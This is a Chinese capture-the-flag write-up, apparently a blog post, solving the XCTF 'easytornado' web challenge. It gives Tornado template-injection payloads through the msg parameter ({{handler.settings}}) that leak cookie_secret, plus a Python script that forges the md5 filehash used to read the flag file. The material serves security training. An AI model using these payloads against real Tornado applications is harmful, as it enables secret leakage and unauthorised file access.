XCTF攻防世界web进阶easytornado

本文详细讲述了如何通过构造模板注入、寻找cookie_secret,以及MD5加密技术,在Tornado Web服务器环境中找到隐藏的flag。关键步骤包括参数注入、获取cookie_secret、加密filehash并最终下载flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开题目我们可以看到如下界面:

点开flag.txt看到

/flag.txt
flag in /fllllllllllllag

提示我们flag所在的文件。

点开welcome.txt看到render,这里就涉及到本题目的核心知识,模板注入。这个等下再讲。

接下来,点开hints就看到

/hints.txt
md5(cookie_secret+md5(filename))

涉及到知识有

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

贴一篇关于模板注入的文章https://xz.aliyun.com/t/6885

综合上面三点,我们的思路其实已经非常明晰了。首先要构造模板注入传递参数,然后再寻找cookie_secret,再用cookie_secret和我们要找的文件结合进行md5加密组成filehash,最后访问该文件得到flag。

首先,我们构造报错,得到

http://111.200.241.244:56869/error?msg=Error

可以看到参数注入点就是msg,接着我们再进行注入尝试:

http://111.200.241.244:56869/error?msg={{1*1}}

显示如图

 这里我们可以看到是有回显的,表示确实存在注入。

所以,接着我们再用payload

http://111.200.241.244:56869/error?msg={{handler.settings}}

来获取cookie_secret

结果如图所示

接下来我们用python脚本进行加密。

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="8a12a2cd-7237-476e-85a8-8a01289e7b05"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

 得到filehash:ae7549fbc91a9b4aee8510591c010cac

(这里请注意每个人做这道题得到的cookie_secret是不一样的,所以加密得到的filehash也不一样,自己在做题时一定要先得到cookie_secret在进行加密)。

最后我们执行payload

http://111.200.241.244:56869/file?filename=/fllllllllllllag&filehash=ae7549fbc91a9b4aee8510591c010cac

得到flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值